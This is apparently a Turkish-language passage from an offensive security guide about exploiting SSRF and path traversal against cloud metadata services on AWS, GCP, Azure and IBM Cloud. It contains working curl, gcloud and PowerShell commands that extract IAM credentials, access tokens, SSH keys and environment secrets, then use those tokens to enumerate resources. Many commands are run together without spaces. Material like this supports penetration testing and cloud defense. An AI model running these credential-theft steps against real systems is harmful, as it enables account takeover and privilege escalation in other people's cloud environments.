Metadata uç noktası, herhangi bir EC2 makinesinin içinden erişilebilir ve ilginç bilgiler sunar. URL'de erişilebilir: http://169.254.169.254 (metadata hakkında bilgi burada).
Metadata uç noktasının 2 versiyonu vardır. İlk versiyon, uç noktaya GET istekleri ile erişmeye izin verir (bu nedenle herhangi bir SSRF bunu kötüye kullanabilir). Versiyon 2 için, IMDSv2, bir HTTP başlığı ile PUT isteği göndererek bir token talep etmeniz gerekir ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmalısınız (bu nedenle kötüye kullanmak daha karmaşıktır).
EC2 örneği IMDSv2'yi zorunlu kılıyorsa, belgelere göre, PUT isteğinin yanıtı1'lik bir hop limiti olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirir.
Ayrıca, IMDSv2 ayrıca X-Forwarded-For başlığını içeren bir token almak için yapılan istekleri de engelleyecektir. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişimini önlemek içindir.
Dikkat edin aws_session_token, bu profilin çalışması için vazgeçilmezdir.
PACU keşfedilen kimlik bilgileri ile yetkilerinizi öğrenmek ve yetki yükseltmeye çalışmak için kullanılabilir.
AWS ECS (Konteyner Servisi) kimlik bilgileri üzerindeki SSRF
ECS, kendi küme yönetim altyapınızı ölçeklendirmeden bir uygulama çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. ECS'de çalışan bir hizmeti ele geçirmeyi başarırsanız, metadata uç noktaları değişir.
http://169.254.170.2/v2/credentials/<GUID> adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce <GUID>'yi bulmanız gerekiyor. <GUID>’yi bulmak için makine içindeki environ değişkeni AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'yi okumanız gerekiyor.
Bunu file:///proc/self/environ üzerinde bir Path Traversal istismar ederek okuyabilirsiniz.
Bahsedilen http adresi size AccessKey, SecretKey ve token'ı vermelidir.
Not edin ki bazı durumlardaEC2 metadata instance'ına konteynerden erişebileceksiniz (önceki bölümde bahsedilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda konteynerden hem konteyner IAM rolüne hem de EC2 IAM rolüne erişebilirsiniz.
AWS Lambda için SSRF
Bu durumda kimlik bilgileri env değişkenlerinde saklanmaktadır. Bu nedenle, onlara erişmek için file:///proc/self/environ gibi bir şeye erişmeniz gerekir.
İlginç env değişkenlerininisimleri şunlardır:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Ayrıca, IAM kimlik bilgilerine ek olarak, Lambda fonksiyonları başlatıldığında fonksiyona iletilen olay verilerine de sahiptir. Bu veriler, runtime arayüzü aracılığıyla fonksiyona sunulur ve hassasbilgiler içerebilir (örneğin stageVariables içinde). IAM kimlik bilgilerinin aksine, bu verilere standart SSRF üzerinden http://localhost:9001/2018-06-01/runtime/invocation/next adresinden erişilebilir.
Not edin ki lambda kimlik bilgilerienv değişkenleri içindedir. Bu nedenle, lambda kodunun stack trace'i env değişkenlerini yazdırıyorsa, uygulamada bir hata provok ederek sızdırılması mümkündür.
Sızdırılan hizmet hesabı jetonunu kullanmak için şunları yapabilirsiniz:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
Bir Azure VM, 1 sistem yönetimli kimlik ve birkaç kullanıcı yönetimli kimlik ile ilişkilendirilebilir. Bu, temelde bir VM'ye bağlı olan tüm yönetimli kimlikleri taklit edebileceğiniz anlamına gelir.
Varsayılan olarak, metadata uç noktası sistem atanan MI'yi (varsa) kullanacaktır.
Ne yazık ki, bir VM'nin bağlı olduğu tüm MI'leri gösteren herhangi bir metadata uç noktası bulamadım.
Bu nedenle, bağlı tüm MI'leri bulmak için şunları yapabilirsiniz:
az cli ile bağlı kimlikleri alın (eğer Azure kiracısında bir ilkeyi zaten ele geçirdiyseniz)
Varsayılan ekli MI'yi kullanarak ekli kimlikleri alın:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Tüm tanımış yönetilen kimlikleri kiracıda al ve kaba kuvvet ile bunlardan herhangi birinin VM'ye bağlı olup olmadığını kontrol et:
azidentitylist
Token isteklerinde kullanmak istediğiniz yönetilen kimliği belirtmek için object_id, client_id veya msi_res_id parametrelerinden herhangi birini kullanın (docs). Hiçbiri yoksa, varsayılan MI kullanılacaktır.
env'den IDENTITY_HEADERveIDENTITY_ENDPOINT değerlerini alabilirsiniz. Bu değerleri, metadata sunucusuyla iletişim kurmak için bir token toplamak için kullanabilirsiniz.
Çoğu zaman, bu kaynaklardan biri için bir token almak istersiniz:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# (Fingerprint) You should also be able to find the folder:ls/opt/microsoft# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"-HX-IDENTITY-HEADER:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2019-08-01"-HX-IDENTITY-HEADER:$IDENTITY_HEADER
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
IBM'de varsayılan olarak metadata'nın etkin olmadığını unutmayın, bu nedenle bir IBM cloud VM içinde olsanız bile buna erişemeyebilirsiniz.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
Farklı platformların metadata hizmetleri için belgeler aşağıda özetlenmiştir ve örnekler, yapılandırma ve çalışma zamanı bilgilerine erişim yöntemlerini vurgulamaktadır. Her platform, metadata hizmetlerine erişim için benzersiz uç noktalar sunmaktadır.